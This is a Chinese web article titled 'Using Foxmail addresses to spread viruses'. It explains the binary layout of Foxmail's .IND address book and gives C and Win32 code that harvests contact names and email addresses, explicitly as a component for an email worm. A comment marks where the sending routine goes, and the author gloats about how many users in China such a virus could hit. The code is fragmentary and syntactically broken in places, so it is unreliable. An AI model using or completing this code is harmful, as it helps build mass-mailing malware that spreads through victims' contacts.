点击这里给我发消息 点击这里给我发消息

用Foxmail的地址传播病毒

添加时间:2013-12-7
    相关阅读: 程序 DW
副标题#e#

    用FoxMail的地址传播病毒
    {注:看了whaoye的《浅谈用Delphi写蠕虫病毒》后...}

    foxmail的地址存在.IND里,用16进制的编辑器打开该文档会发现
    ::
    文件头的范围为00H-39H,共64个字节。
    05H保存纪录的个数,12H-21H记录地址薄名称。
    记录部分40H开始是第一条记录,每条记录长B0H
    每条记录的00H是记录号,04H是删除标记,该字节为1表明此记录被用户删除
    11H是组记录,该字节为1表明此记录为一条组记录;
    12H是名称的长度,最大为20H;
    13H-32H是名称内容,33H是邮件地址长度,最大为40H,34H-73H是邮件地址内容。。。
    下面我们写一段代码用于从.IND文件中将地址提出来,然后...(看你的想象力了,whaoye
    已经将发送方面写的很清楚了,不用我再重复了)
    我用C写的代码,delphi下的代码是不同的,大家可以自行更改...
    (我没用API,原因是我用api写的在测试时,除了几次错误,以后有时间,一定补上)
    file*fp_addr
    char*srcname
    char headbuf[0x41],recbuf[0xb1]
    int i;
    if(fp_addr=fopen(srcname,"rb"))==null)
    {exit(-1)}
    fseek(fp_addr,0x40,seek_set)
    while(!feof(fp_addr))
    {
    char name[0x21],email[0x41]
    for(i=0;i<0x21;i++)
    name[i]='\0'
    for(i=0;i<0x41;i++)
    email[i]='\0'
    fread(recbuf,1,0xb0,fp_addr)
    if(recbuf[0x4]==1)
    {continue;}
    if(recbuf[0x11]==1)
    {continue;}
    for(i=0;i<recbuf[0x21],i++)
    {
    if(recbuf[i+0x13]==0)break
    name[i]=recbuf[i+0x13]
    }
    for(i=0;i<recbuf[0x33],i++)
    {
    if(recbuf[i+0x34]==0)break
    email[i]=recbuf[i+0x34]
    }
    /*此处添加处理name(收件人名),email(收件人地址)的程序*/
    }
    fclose(fp_addr)
    好了,既然有了读取foxmail中地址的方法,再利用搜索方法找出所有的.IND文件,

    参照whaoye的文章就可以写出...

    {后记::foxmail在中国的用户量是很多的,如果利用这种方法写出病毒来...hahaha}
    {补记::
    API方法
    handle fp_addr
    char*srcname
    DWord dwVes

 

#p#副标题#e#

 

    char headbuf[0x41],recbuf[0xb1]
    int i;
    if(fp_addr=CreateFile(srcname,GENRIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0))==INVALID_HANDLE_VALUE)
    {RETURN -1}
    SetFilePointer(fp_addr,0x40,0,File_Begin)
    while(!GetFilePointer(fp_addr))
    {
    char name[0x21],email[0x41]
    for(i=0;i<0x21;i++)
    name[i]='\0'
    for(i=0;i<0x41;i++)
    email[i]='\0'
    ReadFile(fp_addr,recbuf,0xb0,&dwVes,0)
    if(recbuf[0x4]==1)
    {continue;}
    if(recbuf[0x11]==1)
    {continue;}
    for(i=0;i<recbuf[0x21],i++)
    {
    if(recbuf[i+0x13]==0)break
    name[i]=recbuf[i+0x13]
    }
    for(i=0;i<recbuf[0x33],i++)
    {
    if(recbuf[i+0x34]==0)break
    email[i]=recbuf[i+0x34]
    }
    //此处添加处理name(收件人名),email(收件人地址)的程序
    }
    CloseHandle(fp_addr)

相关用Foxmail的地址传播病毒

咨询热线:020-85648757 85648755 85648616 0755-27912581 客服:020-85648756 0755-27912581 业务传真:020-32579052
广州市网景网络科技有限公司 Copyright◎2003-2008 Veelink.com. All Rights Reserved.
广州商务地址:广东省广州市黄埔大道中203号(海景园区)海景花园C栋501室
= 深圳商务地址:深圳市宝源路华丰宝源大厦606
研发中心:广东广州市天河软件园海景园区 粤ICP备05103322号 工商注册